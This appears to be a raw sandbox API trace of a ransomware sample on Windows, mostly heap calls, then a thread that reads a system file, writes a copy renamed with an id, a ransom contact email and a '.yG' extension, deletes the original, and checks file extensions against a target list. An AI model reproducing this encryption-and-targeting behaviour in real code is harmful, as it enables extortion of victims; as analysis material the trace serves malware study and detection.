	[0055.967] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.967] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.967] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.967] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.968] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0055.968] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2810 | out: hHeap=0x650000) returned 1
	[0055.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0056.121] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.175] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.190] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.245] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.262] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.279] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.279] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.280] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.286] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.288] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.288] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.347] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.441] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0056.443] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0056.444] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0056.444] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.444] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.444] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.501] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.501] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.540] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0056.579] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0056.579] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.588] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.588] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.661] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.707] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0056.707] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.707] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.710] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.710] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4290050 | out: hHeap=0x650000) returned 1
	[0056.710] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.727] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.727] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.732] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.732] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.732] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0056.736] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.736] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.742] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0056.742] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.743] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0056.760] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.793] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0056.793] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.016] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0058.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.017] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0058.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.020] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0058.021] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.092] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.103] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.103] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.103] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0058.105] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.207] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.208] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.208] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.212] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0058.212] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0058.213] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0058.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0058.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0058.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0058.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0058.334] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.337] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.344] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0058.344] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.351] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.352] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0058.354] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.357] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.358] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.358] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0058.893] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.894] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42b0060 | out: hHeap=0x650000) returned 1
	[0058.895] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42a0058 | out: hHeap=0x650000) returned 1
	[0058.897] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0058.933] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0059.725] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0059.725] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0059.726] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0059.728] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0059.729] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0059.729] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0061.082] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1

Thread:
	id = 14
	os_tid = 0xcfc

	[0039.975] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3b40730
	[0039.976] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10000) returned 0x3b50738
	[0039.976] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f30
	[0039.976] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x6) returned 0x6ee9c0
	[0039.976] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa1d0
	[0039.976] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x100000) returned 0x3d2f020
	[0039.978] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6aa008
	[0039.978] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6aa008, Size=0x20) returned 0x68fa80
	[0039.978] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x10) returned 0x6a9f60
	[0039.978] RtlReAllocateHeap (Heap=0x650000, Flags=0x0, Ptr=0x6a9f60, Size=0x20) returned 0x68f8f0
	[0039.979] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000
	[0039.979] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30
	[0039.979] Wow64DisableWow64FsRedirection (in: OldValue=0x2feff50 | out: OldValue=0x2feff50*=0x0) returned 1
	[0039.979] lstrlenW (lpString="kernel32.dll") returned 12
	[0039.979] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68fa80 | out: hHeap=0x650000) returned 1
	[0039.979] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0039.979] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x68f8f0 | out: hHeap=0x650000) returned 1
	[0039.979] Sleep (dwMilliseconds=0x64) 
	[0040.095] Sleep (dwMilliseconds=0x64) 
	[0040.301] Sleep (dwMilliseconds=0x64) 
	[0040.411] Sleep (dwMilliseconds=0x64) 
	[0040.521] Sleep (dwMilliseconds=0x64) 
	[0040.691] Sleep (dwMilliseconds=0x64) 
	[0040.911] Sleep (dwMilliseconds=0x64) 
	[0041.239] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0041.239] lstrlenW (lpString="GetCurrentOOBE.dll") returned 18
	[0041.239] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0041.398] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=144072) returned 1
	[0041.398] CloseHandle (hObject=0x2e8) returned 1
	[0041.398] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 0x20
	[0041.398] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0041.398] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0041.398] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.398] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.398] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.399] GetLastError () returned 0x0
	[0041.399] ReadFile (in: hFile=0x2e8, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x232c8, lpOverlapped=0x0) returned 1
	[0041.427] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0x232d0, lpOverlapped=0x0) returned 1
	[0041.429] ReadFile (in: hFile=0x2e8, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1
	[0041.429] WriteFile (in: hFile=0x2ec, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x2fefc94*=0xf8, lpOverlapped=0x0) returned 1
	[0041.429] SetEndOfFile (hFile=0x2ec) returned 1
	[0041.429] CloseHandle (hObject=0x2ec) returned 1
	[0041.432] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1
	[0041.432] SetEndOfFile (hFile=0x2e8) returned 1
	[0041.433] CloseHandle (hObject=0x2e8) returned 1
	[0041.433] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0041.433] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1
	[0041.434] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.434] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.434] lstrlenW (lpString=".doc") returned 4
	[0041.434] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.434] lstrlenW (lpString=".docx") returned 5
	[0041.434] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0041.434] lstrlenW (lpString=".pdf") returned 4
	[0041.434] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.434] lstrlenW (lpString=".xls") returned 4
	[0041.434] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.434] lstrlenW (lpString=".xlsx") returned 5
	[0041.434] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0041.434] lstrlenW (lpString=".ppt") returned 4
	[0041.434] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.434] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.434] lstrlenW (lpString=".zip") returned 4
	[0041.434] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.434] lstrlenW (lpString=".rar") returned 4
	[0041.434] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.434] lstrlenW (lpString=".bz2") returned 4
	[0041.434] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.434] lstrlenW (lpString=".7z") returned 3
	[0041.434] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.434] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.434] lstrlenW (lpString=".dbf") returned 4
	[0041.434] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.434] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.434] lstrlenW (lpString=".1cd") returned 4
	[0041.434] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.434] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.435] lstrlenW (lpString=".jpg") returned 4
	[0041.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.435] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.435] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.435] lstrlenW (lpString=".doc") returned 4
	[0041.435] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0041.435] lstrlenW (lpString=".docx") returned 5
	[0041.435] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1
	[0041.435] lstrlenW (lpString=".pdf") returned 4
	[0041.435] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0041.435] lstrlenW (lpString=".xls") returned 4
	[0041.435] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0041.435] lstrlenW (lpString=".xlsx") returned 5
	[0041.435] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1
	[0041.435] lstrlenW (lpString=".ppt") returned 4
	[0041.435] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0041.435] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.435] lstrlenW (lpString=".zip") returned 4
	[0041.435] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0041.435] lstrlenW (lpString=".rar") returned 4
	[0041.435] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0041.435] lstrlenW (lpString=".bz2") returned 4
	[0041.435] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0041.435] lstrlenW (lpString=".7z") returned 3
	[0041.435] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0041.435] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.435] lstrlenW (lpString=".dbf") returned 4
	[0041.435] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0041.435] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.435] lstrlenW (lpString=".1cd") returned 4
	[0041.435] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0041.435] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40
	[0041.435] lstrlenW (lpString=".jpg") returned 4
	[0041.435] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0041.436] lstrcmpiW (lpString1=".MARKER", lpString2=".yG") returned -1
	[0041.436] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0041.436] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0041.453] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=0) returned 1
	[0041.453] CloseHandle (hObject=0x2ec) returned 1
	[0041.453] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.453] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.453] lstrlenW (lpString=".doc") returned 4
	[0041.453] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0041.453] lstrlenW (lpString=".docx") returned 5
	[0041.453] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0041.453] lstrlenW (lpString=".pdf") returned 4
	[0041.453] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0041.453] lstrlenW (lpString=".xls") returned 4
	[0041.453] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0041.453] lstrlenW (lpString=".xlsx") returned 5
	[0041.453] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0041.453] lstrlenW (lpString=".ppt") returned 4
	[0041.453] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0041.453] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.453] lstrlenW (lpString=".zip") returned 4
	[0041.453] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".rar") returned 4
	[0041.454] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".bz2") returned 4
	[0041.454] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".7z") returned 3
	[0041.454] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0041.454] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.454] lstrlenW (lpString=".dbf") returned 4
	[0041.454] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.454] lstrlenW (lpString=".1cd") returned 4
	[0041.454] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.454] lstrlenW (lpString=".jpg") returned 4
	[0041.454] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.454] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0041.454] lstrlenW (lpString=".doc") returned 4
	[0041.454] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".docx") returned 5
	[0041.454] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0041.454] lstrlenW (lpString=".pdf") returned 4
	[0041.454] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0041.454] lstrlenW (lpString=".xls") returned 4
	[0041.454] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
